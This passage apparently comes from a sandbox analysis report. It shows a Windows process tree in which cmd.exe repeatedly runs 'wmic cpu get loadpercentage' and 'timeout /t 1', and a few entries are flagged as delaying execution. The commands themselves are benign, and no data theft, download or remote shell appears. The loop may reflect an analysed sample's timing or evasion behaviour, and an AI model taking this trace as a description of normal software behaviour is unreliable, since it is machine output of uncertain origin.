C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2296
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1360
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4352
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2956
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4780
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2728
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4864
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4188
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3544
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2400
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4544
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4888
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3212
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4572
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4856
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4760
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2300
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:724
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4120
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:660
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4944
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4396
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:348
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4180
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3576
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4912
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2740
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2560
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1340
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3784
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1328
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3584
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4424
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1924
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2860
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4644
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3388
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4332
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3520
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:216
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1800
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3228
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2352
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3928
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1180
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2348
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3788
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3624
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4380
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1984
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2776
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3008
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1288
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1072
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2188
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1080
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:68
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4352
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3284
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4828
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2184
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4152
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4268
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4256
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4544
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:528
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:436
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2304
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5008
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1324
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1304
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4192
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4600
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4980
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4788
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:660
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4988
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4180
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:576
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3852
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2736
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1012
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2484
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3584
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1644
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3364
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1924
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3112
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2492
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3236
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3244
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4332
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1532
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3692
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4364
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5096
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3228
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:668
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3928
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1296
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3096
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2348
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2776
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2444
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4640
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3736
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4992
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1352
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2896
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1080
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2296
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3000
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4828
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:164
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2684
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4524
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1688
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4156
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2244
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1004
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:760
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3648
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3156
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2212
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1188
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4120
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:220
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3636
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1292
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:636
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3252
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2092
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2220
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1172
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4416
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2112
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3248
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3404
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4736
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2360
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2000
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3692
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3228
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2356
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4320
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3096
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4200
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2944
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4140
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1620
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3008
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2188
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5060
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4492
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:68
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5072
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3376
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:708
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4552
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1652
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4496
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2184
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2996
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4220
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4152
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4116
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4268
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1568
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4544
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4888
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:192
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1456
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3300
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3740
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2300
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4084
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3984
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4776
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4396
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:348
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4408
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4508
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4912
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2568
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2092
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3268
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1752
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2816
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4400
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1924
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3404
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3996
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3244
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4880
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:216
-
